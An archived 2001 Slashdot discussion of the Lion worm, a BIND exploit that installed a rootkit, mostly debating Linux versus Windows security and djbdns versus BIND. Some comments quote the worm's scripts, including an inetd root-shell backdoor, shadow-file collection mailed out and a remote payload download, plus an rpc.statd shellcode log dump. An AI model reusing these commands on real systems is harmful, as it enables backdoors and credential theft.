Forgot your password?

New Linux Worm 232

Posted by CmdrTaco
from the worming-its-way-around dept.
mspeedie writes "Seems Linux has very much arrive judging by the number of nasty virus starting to pop up. Check out the latest at: Lion Worm Virus on Linux " This is not a virus, its a worm that exploits a vulnerable bind to install a rootkit. Regardless, you should have tripwire or something running anyway.
This discussion has been archived. No new comments can be posted.

New Linux Worm

Comments Filter:
  • by Anonymous Coward
    The worm installs a Linux root kit.
  • by Anonymous Coward
    my watch []?
  • by Anonymous Coward
    You know what's funny? I never have to run my NT services with admin privledges.
  • by Anonymous Coward
    Check it. Here are the shell scripts related to the attack. 3 binaries are not included.


    tail -f bindname.log | while read TARGET
    ./ $TARGET


    ./bind $1 -e >> /dev/null &

    bind is the name of a binary running



    rm -f /etc/hosts.deny

    touch -r /etc/rc.d/rc.sysinit
    echo "/dev/.lib/lib/scan/" >>
    touch -r /etc/rc.d/rc.sysinit

    touch bindname.log

    rm -rf
    rm -rf



    rm -rf; rm -rf bindname.log; touch
    nohup ./ >>/dev/null &
    nohup ./ >>/dev/null &

    And from

    while true
    sleep 60
    killall -9 bind 1>>/dev/null 2>>/dev/null
    echo >bindname.log
    ./pscan $CLASSB 53

    pscan and randb are the other 2 binaries.
  • by Anonymous Coward
    Most of the NT problems out there "should be fixed by the admin" as well and slashdot still goes apeshit over them.
  • by Anonymous Coward
    "Seems Linux has very much arrive [sic] judging by the number of nasty virus starting to pop up.." Suprisingly, no slashdot pieces on outlook macro viruses began with "Further testifying to the fact that superior user-friendliness has led to its enthusiastic widespread adoption, microsoft outlook was subject to.." Spin, Zealots, Spin! Linux: the next mac.
  • by Anonymous Coward
    Every time that a new worm or virus for email is mentioned about a Windows (type) OS this site goes crazy about reporting it and making little jokes about the inherent insecurity built into those systems... well, for a change we finally get the same problem on a Linux system! But, what does slashdot do about it? They say that "Regardless, you should have tripwire or something running anyway. " You mean to tell me that Linux is inherently insecure in its BIND implementation and that we need yet another tool to protect it? Next time an Outlook virus comes out... I expect them to say "Regardless, you should have McAfee running anyways." This type of journalism where excuses are made for Linux and other operating systems are harassed is highly unprofessional. Down with bigotry!
  • by Anonymous Coward
    but almost anyone will notice the extra services running

    And if you got rootkitted, how the hell are you going to know that? Unless you keep ps on a floppy?

  • by Anonymous Coward
    Did anyone else notice that, a virus/worm in a MS product its "such a bad product" but when theres a virus/worm in Linux, its "Linux is arriving!" and "its the users fault anyways".
  • by Anonymous Coward

    Could sombody de-worm my GNU


  • For me, djbdns has never ever core dumped and updates it's secondaries with no problem. It has also never had a security hole, for what it's worth.

    Try the support mailing list.

    Unless you don't really care, in that case, niether do I.

  • Well, djbdns isn't really Free. I can't patch it, add some security holes, and redistribute it as the original, like I can with BIND.

    That is not 100% correct. See []. The only restriction is on redistribution of djbdns. These restrictions are not to make himself rich (if anything, he will lose money on djbdns). The restrictions are so that djbdns stays useful, functional and compatible across all platforms.

  • by defile (1059) on Friday March 23, 2001 @01:47PM (#344097) Homepage Journal

    Tripwire? If you were a real admin you would look at the source for BIND, declare it garbage, and run djbdns [] instead.

    Run BIND on production servers? Not if my life depended on it. djbdns runs chroot()'d, non-root by default and even then the author still puts up a $500 reward for anyone who can find a security hole.

    I'm so glad we modern admins have a choice. djbdns [] is a real, safe, fast, and well documented alternative to BIND and if I were your boss I'd fire you for not switching.

    Friends don't let friends run BIND!

  • IIRC Tripwire is GPL now.

    Doesn't mean you don't have to pay for it.

  • BIND isn't as nearly widespread amongst Linux installations as Outhouse is among WinDOS users. BIND simply isn't one of those apps that "everyone has to have" in order to "be compatible".

    Besides, unless this worm is taking advantage of some Linux specific exploit: it could just as easily target any other Unix, or even Cygwin.
  • Apache does run as it's own UID, if you set it up right. It has for some years now and quite likely has done so since it was created.
  • by jedidiah (1196) on Friday March 23, 2001 @02:04PM (#344107) Homepage
    No, this is a distributor problem. BIND is not a particularly core part of Linux (or Unix in general). It just happens to be an application that some people find useful.

    Whether or not BIND is an exploit depends on a 3rd party developer. Whether or not it's even running depends on who PACKAGED your version of Linux.

    OTOH, you have NO CHOICE when it comes to WinDOS distributions. If Microsoft f*cks up, you have no where else to look. If Bughat f*cks up, you can look to Caldera, Mandrake, Debian, Slackware and Suse.
  • by sheldon (2322)
    Well... You should be running Anti-Virus software.
  • Maybe it's just coincidence, but last night, I had a very weird syslog event while I was pulling down email off my (Northpoint :-) ) DSL line. Copied below is a (very badly formatted) octal dump of the relevant section of the log:

    0000000 M a r 2 3 0 1 : 5 3 : 2 7
    0000020 w a l k i e s - - M A R K
    0000040 - - \n M a r 2 3 0 1 : 5 4 :
    0000060 0 4 w a l k i e s i d e n t
    0000100 d [ 1 2 2 8 6 ] : s t a r t e
    0000120 d \n M a r 2 3 0 1 : 5 4 : 0
    0000140 7 w a l k i e s \n M a r 2
    0000160 3 0 1 : 5 4 : 0 7 w a l k i
    0000200 e s s y s l o g d : C a n n
    0000220 o t g l u e m e s s a g e
    0000240 p a r t s t o g e t h e r \n M
    0000260 a r 2 3 0 1 : 5 4 : 0 7 w
    0000300 a l k i e s 1 7 3 > M a r 2
    0000320 3 0 1 : 5 4 : 0 7 / s b i n
    0000340 / r p c . s t a t d [ 1 6 4 ] :
    0000360 g e t h o s t b y n a m e e
    0000400 r r o r f o r ^ X 367 377 277 ^ X
    0000420 367 377 277 ^ Y 367 377 277 ^ Y 367 377 277 ^ Z 367
    0000440 377 277 ^ Z 367 377 277 ^ [ 367 377 277 ^ [ 367 377
    0000460 277 % 8 x % 8 x % 8 x % 8 x % 8 x
    0000500 % 8 x % 8 x % 8 x % 8 x % 2 3 6
    0000520 x % n % 1 3 7 x % n % 1 0 x % n
    0000540 % 1 9 2 x % n 220 220 220 220 220 220 220 220 220
    0000560 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220
    0002160 220 220 220 1 300 353 | Y 211 A ^ P 211 A ^ H
    0002200 376 300 211 A ^ D 211 303 376 300 211 ^ A 260 f 315
    0002220 200 263 ^ B 211 Y ^ L 306 A ^ N 231 306 A ^
    0002240 H ^ P 211 I ^ D 200 A ^ D ^ L 210 ^ A
    0002260 260 f 315 200 263 ^ D 260 f 315 200 263 ^ E 0 300
    0002300 210 A ^ D 260 f 315 \n M a r 2 3 0
    0002320 1 : 5 4 : 0 7 w a l k i e s
    0002340 307 ^ F / b i n 307 F ^ D / s h A 0
    0002360 300 210 F ^ G 211 v ^ L 215 V ^ P 215 N ^
    0002400 L 211 363 260 ^ K 315 200 260 ^ A 315 200 350 177 377
    0002420 377 377 \n


    Did someone try to h4x0r my laptop?


  • Thank you very much for the heads up. I went to CERT's site, and found an example syslog entry almost identical to the one on my laptop. Fortunately, I already had the fixed rpc.statd (v0.9.1-1) installed on my Debian laptop.

    I'll go update 'bind' now (assuming I bothered to install it).


  • Actually the particular rootikit in question doesn't replace pstools. I found a trojaned stock RH 6.2 machine at work, and the worm was trying to replicate itself. It was running "" and "". A little after that I found the rootkit in /dev/.lib
  • Right. And I suppose you're going to sit there and claim that you're never hypocritical or apply double standards. If you do, you just proved my point.


  • by craw (6958) on Friday March 23, 2001 @03:11PM (#344119) Homepage
    Regardless, you should have tripwire or something running anyway.

    This statement is really indicative of another thing: cluelessness. Running tripwire will tell someone that they have been cracked! Close the barn door Edith, the cows just escaped!

    Maybe the "or something" alludes to the real solution; don't run BIND, run an up-to-date patched version of BIND, run snort, etc... Maybe he should have said, "Patch early, patch often." But nooooo! Run tripwire.

    BTW, this worm is really no different than the ramen worm; similar concept, different exploit. What has gotten the attention of sysadmins is that they are seeing a sudden surge in traffic to port 53. These sysadmins are the target audience of SANS, and the sysadmins don't like someone messing with their DNS. I believe that is why the Global Incident Analysis Center (GIAC) of SANS changed their current threat level to yellow. This comment was posted on GIAC (note TCP, not UDP to port 53). the past 48 hours there has been a 1000% increase in reported attacks on DNS port 53 TCP, 45,000 reports (out of 51,000) of them coming from a single IP address

    BTW, the n.g. had a posting about this (didn't know it was lion) back on Tuesday. In that thread, the guy that got cracked found this (using strings on the rogue program)

    echo '1008 stream tcp nowait root /bin/sh sh' >> /etc/inetd.conf
    killall -HUP inetd;ifconfig -a > 1i0n
    cat /etc/passwd >> 1i0n
    cat /etc/shadow >> 1i0n
    mail &lt 1i0n rm -fr 1i0n
    rm -fr /.bash_history
    lynx -dump >1i0n.tgz
    tar -zxvf 1i0n.tgz
    rm -fr 1i0n.tgz;cd lib

  • I can't believe ALL of you are speaking english as a second language ... the word is

  • > Outlook automatically executes the virus for you using a built-in scripter that has full access to your system. How is Linux crappier than that?

    The fact that the user has to click on a lengthy warning dialog to execute ILOVEYOU, which amounts to nothing more than a shell script (a WSH script, specifically).

    Lion can be installed remotely without your ever knowing it, using a tool that ships with almost every Linux distro. But that's the admin's fault -- for running Linux.

  • The traffic you saw was likely the scanner portion looking for new victims. It randomly scans "class B" address blocks looking for new targets.

  • It would appear from a quick analysis that only the initial infection vector gets the rootkit. I've only gotten a bit of the way through the initial code, but it looks like the secondary infections all happen without the rootkit. I haven't run it yet to see for sure, but my current conjecture is that the huge blob of code is only used on the initial vector and the smaller bit is what gets replicated to each victim.

  • Sorry, it would appear that it's not a trojan, quick analysis seems to indicate that the trojaned piece isn't replicated with each subsequent infection. It's a worm, with the wormy piece coming from an HTTP server in China during the BIND exploit phase (via lynx.)

    FWIW: There are more and more real viruses happening in the Windows world now that Win32's better understood by the bad guys.

  • If you don't *HAVE* to run ftpd, *don't* run it. Most especially don't run wu-ftpd. FTP is a bad protocol and every implementation I can think of has had problems, some more than others. Use a reasonably up to date HTTP server, and access control it if you allow HTTP upload. Throw on SSL and client-side certificates if you want something stronger. If you *have* to run FTP, you need to be updating it every time there's a new release (just like BIND.) A lot of us gave up on sendmail a long time ago and went to more secure mailers, or will make your box really zing mail out and both were written to be secure from the start. Sendmail's been pretty stable for a while now though, so it's not the concern it used to be.

    As far as alerts go for public-facing services, generally you're better off following when the vendor/project team has released an update rather than trying to follow the mishmash of alerts, posts and filter the useful info out.

  • Technically, ILOVEYOU could propogate through any user's misunderstanding of running executable content from the Internet. Technically, 1i0n only replicates if Linux system adminstrators haven't patched BIND since late January. Also, other than scan traffic, a large infected base doesn't hurt those who have done the right thing, unlike e-mail where a large infected base hurts everyone.

  • Actually, mainframes didn't get those sorts of attributes until the 70's AIR, DOS on the 360 certainly didn't have per-job file attributes, since it was a batch system.

    If you want compartmentalization, ACLs, a privacy model, malcode capabilities, etc., then go to, patch your kernel and stop bitching.

    Default configuration: Make your own distribution or script to turn everything on the way you like it. Neither is very difficult, and fixing is more productive than bitching.

    Back to the task at hand- RSBAC could have stopped this worm, it's about time it went into a development kernel.

  • You're wrong. Viruses don't necessarily have to have malicious payloads to be viral, they simply have to infect files and spread themselves that way. Worms infect machines and spread themselves that way- once again no malicious payload required. After giving itself root access, it searches for *other machines* to exploit, and keeps doing that ad infinitum. That's what makes it a worm. m. html us .html

    As far as malicious code, it's actually pretty boring, there are at least two examples of the exploit the worm uses to propogate, but it's definitely a worm and it appears to be in the wild.

  • Sorry, I read "that's" as "it's"- too much time disassembling :(

    It is useful to note that we're getting more executable Win32 viruses now though (as opposed to scripts and macros- which are still pervasive but were pretty much all that was coming out for a while.) Our malcode guys have been predicting that for a while though. What worries me is the ELF file infector stuff. Thank goodness we haven't reached critical mass for Linux binaries yet, as there's still time to build in protection.

  • There isn't a definitive list, but there are around two dozen. The real problem with a list is that most AV companies are concerned about wild viruses, and worms, and so far that list is 2 long, ramen and 1i0n. I don't think the number of Outlook targeted things that are ITW, and most of those seem to be worms. This worm proves that bash is just as good as WSH for worms. If you look at the shell script stuff in 1i0n, you'll see that it's not all that impressive and pretty simple. Viral code seems to be a little trickier, but not majorly so compared to say Win32 viral code targeted at NT. What is difficult is getting traction with one, worms that exploit buffer overruns in common services seem to be the only things with a chance of gaining enough traction to beome a problem. Sooner or later that'll change, but for now it's enough to know that basic sysadmin skills should keep you safe.

  • The default Unix permissions model was designed for a specific purpose. It's worth pointing out that only a subset of IBM Mainframe OS' had the capabilities you describe- for instance, VM never had it. I've had RACF special and Class A-Z in VM, and I've run mainframes on everything from DOS (not the PC kind) up. Unix, originally designed for minicomputers, has grown to usage models well beyond it's original purpose, which is why some Unixes have added ACLs (some a number of years ago) and compartments and other security features (Trusted Solaris, CMW, etc.)

    Not everyone needs those (unlike brakes on a car), and just like a manual transmission, not everyone can operate one, so for Linux it's optional.

    Sorry if you're used to fast food, some of us enjoy ordering quality food item-by-item to get the best meal, not just the same old Happy Meal.

    If you want it enough, you'll install it, if you don't, then you don't have to. If you want to wait for someone to create a turnkey distribution you can do that too. Just don't whine like a little baby that someone else isn't doing everything for you.

    Actually, the quality bar has been set to "if it doesn't do it out of the box, generally someone's put a hell of a lot of work into doing it and is willing to share it and support it if you take one step in their direction." That's a hell of a lot better than "If it doesn't do it out of the box, wait until the vendor decides to release a bug-ridden version of it and if they don't want to, then you don't get that."

    Hold your breath waiting for MAC-based compartments in WindowsANYTHING, or anything else that looks sufficiently B-level to provide strong security.

    You might like bloated "it's all in there no matter if it's necessary or not" software systems, but they're not condusive to security and it's best when security-minded people build security critical pieces of them instead of OS-minded people, so patching for RSBAC works very well for those of us who care about security that deeply. It also makes the code easier to check when it's diffs instead of intermingled with the base kernel code.

    If you buy a 2 seater sports car, don't expect it to be good at off-roading. The power of Linux is in the fact that I can get anything from RSBAC security to high-powered general purpose clusters and run the same code on them all.

    If you need a silly little box around the software to make you happy, then you shouldn't be looking at Linux, it's not about inside the box.

    Back on topic: RSBAC actually solves the "I don't want the administrator to be able to trojan this machine" problem as well as is possible on general purpose hardware (you can go download the international patches if you want to add another layer- or I suppose you could pay someone to do it since you seem to be allergic to actually installing software- must be hell when those new Reader Rabbit things come out!) The only other systems that come close cost tens of thousands of dollars and/or are obsolete.

    Must have really pained you to choose which options you wanted on your car, or are you just walking until somone figures out how to have leather and cloth seats at the same time?

  • It is a worm. This is *exactly* that, it the larger of the two 1i0n packages gets executed on a machine, plants a bunch of trojans and goes searching for new machines which have port 53 open. If it finds them open, it exploits them to download the smaller 1i0n code which then leaves one backdoor (no trojans) and goes looking for machines that listen on port 53...

    It does *not* appear to rootkit downstream infected machines, but it *does* move itself to other computers, which is what makes it a worm. Auto-exploit code is only a component of a worm if it automatically transfers itself to new machines. This code does that, therefore its a worm.

    Replication if it infected "normal" programs would make it a virus, replication like this makes it a worm. Take away the self-replication and it's an exploit. All of these terms are well-defined, well-known and well-understood in the security and malcode communities.

    In this case, the *worm* is the entire kit, and the exploit is a GLIBC 2.0 based executable called "bind" that's utilized by the worm to propogate via the TSIG overflow in BIND 8.2.x where x<3-REL.

    "That system is left alone" is patently false in this case, since the downstream machine loads the smaller worm code and starts infecting machines of its own.

    I dunno what you think a worm is, but the rest of
    the community is sure that this is a worm. It's a boring worm, but it's definitely a worm.

  • by kaisyain (15013) on Friday March 23, 2001 @01:06PM (#344142)
    If people stopped giving root God-like powers then problems like this wouldn't crop up. Patches like LIDS [] help put root in a jail. Someday we can pray that root, and all the trust and power that goes along with UID 0, will go away completely.
  • Nearly everybody did see it coming. And it will come again. That's why you fix your vulnerabilities as they are discovered.

    Caution: Now approaching the (technological) singularity.
  • The preferred plural form of "virus []" is "viruses []".

    I don't mean to split hairs, but the word "virii" makes my skin crawl, the same way "irregardless" or "it's" used possessively does...

    I'll shut up now... :-)


  • It is, however, a somewhat archaic grammatical structure. But it's still considered linguistically correct.

    Bullshit. It's wrong, annoying, and used only by people who either want to make other people think they're smart or just don't know any better.

    A "somewhat archaic grammatical structure"?!? WTF are you talking about? You sound like Ash in Army of Darkness: "Your primitive brains can't comprehend things with alloys and molecules, and uh..."

    So I have a choice between your opinion and those of two dictionaries. Hmmm, let me see... Yeah, I think you're right and both dictionaries are wrong! Uh huh. Any other words you care to invent that you would like to share?

    Look it up. Links are in the original post.


  • And, having used svscan (and djbdns) for quite some time, I've yet to ever see it behave in anything like the manner you specify--as in megabytes of messages every second. If it did start spitting out error messages, then who's fault is that? (and why would you send it to syslog, anyway?)

    Really, then try this. Install qmail/svscan on a system with sendmail installed. Then try to startup qmail using svscan without shutting down sendmail. Then watch your system load jump to 5+ and your system grind to a halt. And yes it is easy to get into this situation if for example you forget to shutdown sendmail during a transition to qmail or you accidently forget to remove sendmail from the list of daemons started up at boot.

  • You mean like this system?

  • You wonder why so many non-techies view us as raving lunatics, or arrogant shits. This is why. All we ever seem to do is foam at the mouth about how everything not Linux is evil, and that Open Source is the One True Way. And then we strut around like pumped-up little martinets, so convinced of our own greatness, and the mistaken belief that we are infallible.

    Actually as a techie, I view a lot of Slashdot's population in exactly the same way. It's a tool, people -- not a religion.

    Tools chip, break, and fall apart. All tools do.

  • No OS is impervious to worms, virii, trojans, etc. ... Quit using it as a reason to "make the switch to linux" in your anti-microsoft banter; you're not fooling anyone.

    Yeah, but that's the equivalent of saying no nation is free of diseases. There are some places in the world you'd rather be (America, Europe, Japan, etc.) than others (Somalia, Haiti, Ghana). Better hospitals and better sanitation would be good reasons to prefer the more powerful industrialized nations. If anyone's been claiming that Linux (and UNIX in general) is invulnerable, then they really need to ask themselves why there even is an effort to make systems like OpenBSD. However, saying that one outbreak of a worm makes Linux on the same level as Windows in terms of security is like claiming that the LA riots made America equivalent to Palestine in terms of social stability.

    Yes, there are Linux worms. Yes, there are Linux root-kits, designed to exploit well-known bugs in programs distributed with certain Linux distributions. Does that mean that Linux is anywhere near as vulnerable as Windows? I don't think so. Security is still a reason to switch from Windows to Linux, and a knowledgeable person who actually cares about security can put together a nearly bulletproof box with a little effort.

    Could you say the same for Windows? Maybe, but it's a lot harder and takes away a lot more functionality to do so because there are fewer alternative solutions to replace the builtin solutions. (No IIS, no "Windows Networking", no Outlook, no IE, etc.)

  • What is really needed in Linux is the ability for various distributions to automatically install security updates. I realize that many admins have written scripts to do this, but this should be a default option. For dialup users, it should check for updates every time the user connects to the Internet, and for 24/7 connections it should check for updates once a day.
  • Regardless of what you run, you should firewall access away from people who don't need to use it. I run a named server - BIND - but I'm not worried b/c my firewall prevents outsiders from using it.

    Another reason I'm not worried? I'm running a chrooted bind. The feature is still labelled as "experimental" in the branch I'm running, but it works very well. There are instructions all over the net. Even if BIND is exploited, they won't get far.

    The number of port 53 scans I've gotten in recent weeks should frighten the pants off anyone who is running an unpatched BIND. I would not be surprised if we see a major DDoS soon.

    Boss of nothin. Big deal.
    Son, go get daddy's hard plastic eyes.

  • by Flounder (42112) on Friday March 23, 2001 @12:55PM (#344163)
    I've finally got a snappy comeback to all those Linux-using bastards here in the office that claim Linux is superior and is more secure than Windows NT.

    Oh, wait. I'm one of those Linux-using bastards.

  • I know their reputation, but I have never looked at the source and so I don't know why (or whether) they deserve that reputation. Anyone care to elucidate? (If possible, with a better explanation than "they're written in C". So's Apache, and it's not known for being riddled with holes (I'm sure there's been some, but its reputation isn't like BIND's or Sendmail's)).
  • by interiot (50685) on Friday March 23, 2001 @01:15PM (#344171) Homepage []

    Tripwire has split into a commerical version and an open source version.

  • by pos (59949) on Friday March 23, 2001 @02:18PM (#344176)
    Strictly speaking you are absolutly correct and I stand corrected.

    However, my argument still stands because most users don't consider their kernel to be their OS, and they consider their Operating System to be Linux and not GNU (which it really is as debian HURD developers will quickly point out to you). So the difference is largely a misnomer...

    My point here would be that desktop users may want choices, but more importantly, they want intelligent default choices to be made for them by their distributions so they don't ever have to worry about it. This includes not defaulting to buggy software or worm vulnerable builds of BIND. A good OS will instill confidence in the user by making good default choices on their behalf (which Windows/Mac do well) and allowing them to inspect and change them if they desire (which linux does well). Both of these are the responsabilty of the distro if linux is ever to move over to the desktop.


    The truth is more important than the facts.
  • by pos (59949) on Friday March 23, 2001 @01:12PM (#344177)
    First of all... This is a linux problem and not just a Bind problem becuase bind gets installed in a lot of distributions by default. It's the same people who talk about linux taking over the desktop who later say that it's the user's fault that they should know what their machine is doing.

    If linux is just for hackers, then fine. BUT, if you have ever expressed that you want linux to be the default instead of Mac, Windows or whatever then you owe it to yourself to be realistic about why most people use computers. It's probably different than why you do, and it's probably because they just want software that does a job for them. They don't care how it works and they shouldn't have to. We don't make fun of people who don't know what happened when their car breaks. Sure... it's respectable to know why, but it's not a sin not to.

    And second...

    Regardless, you should have tripwire or something running anyway

    That is a total cop-out! I'm sure every one here knows that a windows user would get absolutly jumped on if they said something like that about windows security. "Security hole in windows? you should be running antivirus software. It's your own fault."

    flame on.


    The truth is more important than the facts.
  • You probably shouldn't be running bind (or anything else). Linux's security problems are almost always created by people leaving stuff up/on/open when they don't need to.

    These "people" are you and me, the admins. This problem is clearly the admin's fault.

    Insert standard "wish-the-distros-would-wise-up-and-ship-closed-by -default-installations" thought here...

    There is very little truth in your statement these days. On most recent distros you have to choose explicitly to be a server. If you don't, you have to explicitly choose to install and enable BIND. Truth be known, I doubt there are very many KDE workstations out there running named.

    No, the blame lies in lazy (or nonexistant?) sysadmins. Let's face it; why is your server running BIND if it doesn't need to (you chose it from the install...)? If the machine is a nameserver, then when the advisory came out in January, did you patch up right away? If not, WHY NOT?. The vendors got updated RPMs and whatnot out fairly quickly.

    For the non-existant admin problem, things like the Redhat network [] will help tremendously.

    Not trying to flame here, but your ranting sounds like the parents who blame high-school shootings on video games and movies, when they should be pointing in the mirror. To all the slack admins out there: Enough of this sh*t. Suck it up and do your damn jobs.

    FWIW, installs are getting very savvy these days, taking up the slack for the poor job a lot of admins out there are doing; check out RH's latest beta (wolverine?) install - it does ipchains config during the install.
  • Yes, as well as the fact that the exploit can't be taken verbatim and used, as the machine code that is overflowed will only be valid on x86, and only on systems that use the same syscall numbers and kernel call conventions as Linux.

    So unless you're a Linux user, or an X86 BSD user who's so whacked out he's running a linux binary of bind, you aren't affected by this worm.

  • Last time I checked, viruses were small self-contained programs that did nasty things to the computer they run on.

    Nope, that's a trojan. Here's a quick explaination of the different terms for malicious code:

    Trojan Horse ("Trojan") A Trojan is a standalone program that the user is tricked into running, which will in turn do bad things.

    Virus. A virus is a program that attaches itself (infects) executables- usually anything that's ran while the virus is in memory. When an infected program is executed on a system that does not already have the virus in memory, it will usually load itself into memory for the purpose of infecting yet another system. They really haven't been seen much in recent years, as it's too much hassle and requires much more intelligence than other malicious programs. I'm sure a good portion of the slashdot audience will remember viruses such as Michaelangelo, Dark Avenger, PC-Stoned!, etc. (I was hit by Michaelangelo on it's second run-around)

    Worms. A worm is any malicious program that propogates itself directly to other machines (usually via a network) whereas a virus relies on the execution of an infected program, and a trojan relies on execution of itself.

    I hope that clears it up :)

  • I was referring to what I had quoted- the "viruses were self contained programs" statement- not the new Linux worm.

    Hence the usefulness of quoting.

  • by jensend (71114) on Friday March 23, 2001 @12:59PM (#344184)
    Tripwire (under GPL [] since last year []) is available at [] or through their Sourceforge project. [] This should have been posted with the story (if he's going to mention it, why not link it).
  • by drin (83479) on Friday March 23, 2001 @12:49PM (#344192)
    In the network
    The mighty network
    The Lion creeps tonight

    All together now!

    In the network
    The mighty network
    The Lion creeps tonight

    ...with apologies to the tokens...

  • by Greyfox (87712)
    If you don't have a domain, don't run bind. Yeesh.

    If you do have a domain, don't run bind. It's in the same hole-a-week club as the FTP servers and Sendmail. Don't run bind.

    If you absolutely must run bind, get the latest one, compile it static and run it chrooted as a user/group specifically created JUST to run bind.

    Next week's class: Don't run FTPD.

  • Nonsense. Perhaps I would like the benefits of running a caching-only server. With djbdns...

    Well then you're not running bind are you? Maybe I should have said Bind.

    I think my message here is don't run Bind. You know what I'm saying?

  • Tripwire is now a pay for play product, so I suggest using something like this which is open source/free and just as good

    IIRC Tripwire is GPL now. But in any case I prefer AIDE [] myself.
  • I believe these applications start as root, but then lower their privilages after binding to the privalaged port. That way, they can still use a privlaged port, but won't expose the system to mallicious users if they are hacked. If someone compromised apache or sendmail, they would have no privilages on the remote system.
  • Seriously, it's like it was coded to stress-test syslog so it has zero error checking...

    IIRC, Dan really dislikes syslog, so this may not be far from the truth.

  • In a perfect world, all software would be released with no unknown bugs. Consider the SSH holes over the last couple of years.

    This is not a perfect world. Just because you do not know of any exploitable root holes in sshd, telnetd, apache, etc today, does not mean that one will not be found tomorrow.

    It is not uncommon for exploits to be discovered and traded in the black-hat community for days, months or even years before being made public.

    To believe that you will not be targeted by 'real crackers' because you are not an interesting target is a naive and dangerous assumption.

  • It's not a question of diversity. The real issue is that BIND is poorly written, and by design is more susceptible to root holes than DJBDNS.

    Competing apps should continue to compete, but badly written monolithic software that requires root access and is a long-running source of exploits (BIND and sendmail come to mind) should be gotten rid of, not kept around for the sake of 'diversity'.

    The reason that DJBDNS is not exploited where BIND is is not because one is more popular, but because BIND is written so badly that nothing short of throwing it away and starting from the ground up (as DJBDNS has done) will fix it.

  • by Nonesuch (90847) <nonesuch.msg@net> on Friday March 23, 2001 @12:54PM (#344206) Homepage Journal
    There is seldom any good reason to run BIND, when you can get a free secure replacement [] from Dan Bernstein.

    There are way to many machines running full services when only one or two listening processes are really needed, if that.

  • I replace BIND with DJBDNS [], and Sendmail with Qmail [].

    Both Sendmail and BIND suffer from the same basic problem- they are huge monolithic programs that must be executed as root to perform their intended duties.

    From the Qmail web site:

    Why is qmail secure? The reason I started the qmail project was that I was sick of the security holes in sendmail and other MTAs. Here's what I wrote in December 1995:

    Every few months CERT announces Yet Another Security Hole In Sendmail---something that lets local or even remote users take complete control of the machine. I'm sure there are many more holes waiting to be discovered; sendmail's design means that any minor bug in 41000 lines of code is a major security risk. Other popular mailers, such as Smail, and even mailing-list managers, such as Majordomo, seem just as bad.
    As it turned out, fourteen security holes [] were discovered in sendmail in 1996 and 1997.

    I followed seven fundamental rules in the design and implementation of qmail:

    1. Programs and files are not addresses. Don't treat them as addresses.

      sendmail treats programs and files as addresses. Obviously random people can't be allowed to execute arbitrary programs or write to arbitrary files, so sendmail goes through horrendous contortions trying to keep track of whether a local user was ``responsible'' for an address. This has proven to be an unmitigated disaster.

      In qmail, programs and files are not addresses. The local delivery agent, qmail-local, can run programs or write to files as directed by ~user/.qmail, but it's always running as that user. (The notion of ``user'' is configurable, but root is never a user. To prevent silly mistakes, qmail-local makes sure that neither ~user nor ~user/.qmail is world-writable.)

      Security impact: .qmail, like .cshrc and .exrc and various other files, means that anyone who can write arbitrary files as a user can execute arbitrary programs as that user. That's it.

    2. Do as little as possible in setuid programs.

      A setuid program must operate in a very dangerous environment: a user is under complete control of its fds, args, environ, cwd, tty, rlimits, timers, signals, and more. Even worse, the list of controlled items varies from one vendor's UNIX to the next, so it is very difficult to write portable code that cleans up everything.

      Of the twenty most recent sendmail security holes, eleven worked only because the entire sendmail system is setuid.

      Only one qmail program is setuid: qmail-queue. Its only purpose is to add a new mail message to the outgoing queue.

    3. Do as little as possible as root.

      The entire sendmail system runs as root, so there's no way that its mistakes can be caught by the operating system's built-in protections. In contrast, only two qmail programs, qmail-start and qmail-lspawn, run as root.

    4. Move separate functions into mutually untrusting programs.

      Even if qmail-smtpd, qmail-send, qmail-rspawn, and qmail-remote are completely compromised, so that an intruder has control over the qmaild, qmails, and qmailr accounts and the mail queue, he still can't take over your system. None of the other programs trust the results from these four.

      In fact, these programs don't even trust each other. They are in three groups: qmail-smtpd, which runs as qmaild; qmail-rspawn and qmail-remote, which run as qmailr; and qmail-send, the queue manager, which runs as qmails. Each group is immune from attacks by the others.

      (From root's point of view, as long as root doesn't send any mail, only qmail-start and qmail-lspawn are security-critical. They don't write any files or start any other programs as root.)

    5. Don't parse.

      I have discovered that there are two types of command interfaces in the world of computing: good interfaces and user interfaces.

      The essence of user interfaces is parsing: converting an unstructured sequence of commands, in a format usually determined more by psychology than by solid engineering, into structured data.

      When another programmer wants to talk to a user interface, he has to quote: convert his structured data into an unstructured sequence of commands that the parser will, he hopes, convert back into the original structured data.

      This situation is a recipe for disaster. The parser often has bugs: it fails to handle some inputs according to the documented interface. The quoter often has bugs: it produces outputs that do not have the right meaning. Only on rare joyous occasions does it happen that the parser and the quoter both misinterpret the interface in the same way.

      When the original data is controlled by a malicious user, many of these bugs translate into security holes. Some examples: the Linux login -froot security hole; the classic find | xargs rm security hole; the Majordomo injection security hole. Even a simple parser like getopt is complicated enough for people to screw up the quoting.

      In qmail, all the internal file structures are incredibly simple: text0 lines beginning with single-character commands. (text0 format means that lines are separated by a 0 byte instead of line feed.) The program-level interfaces don't take options.

      All the complexity of parsing RFC 822 address lists and rewriting headers is in the qmail-inject program, which runs without privileges and is essentially part of the UA.

      Keep It Simple, Stupid

  • Very true, but might not be so easy to notice services, according to the article it replaces tools like top and find... Nasty

    "One World, one Web, one Program" - Microsoft promotional ad

  • Ok this is pissing me off. If this were another microsoft worm/virus we would be saying "M$ sucks of course their is a worm". But when it's linux we say,"it's just a minor problem in some distro/platform".

    The correct way to respond to this is "we've found a problem now lets make sure this problem doesn't happen again". I want to be proud of linux, I want linux to be a great operating system, that's not going to happen as long as we, conctrate more on blaming others for their mistakes and downplaying ours, then working on solutions.

    This comment in particular bothers me.

    This is not a virus, its a worm that exploits a vulnerable bind to install a rootkit. Regardless, you should have tripwire or something running anyway.
    Why should I need to run tripwire or any security software? If an OS is secure an idiot should be able to administer it and not worry about worms/backdoors/viruses.

    I like the slogan "secure by default".

    I'm a computer scientist, not a writer so no comments on the grammer or spelling please.

  • * Security in *nix sucks

    I'm hoping that you mean Linux security, since this isn't true at all for many other UNIX OSes. For Linux, I think the security is good enough for what it is, when it is used right. The problem is that many applications and servers don't use it right. POSIX.1e-style capabilities (see Linux-privs - POSIX.1e Capabilities for Linux, []) are probably the answer. A more legitimate qualm with the *nix model is that it is coarse-grained. I think at least a handful of UNIX OS's have responded with support for Access Control Lists, which provide more fine-grained file access (see Extended Attributes and Access Control Lists for Linux, []).

    * X Windows sucks

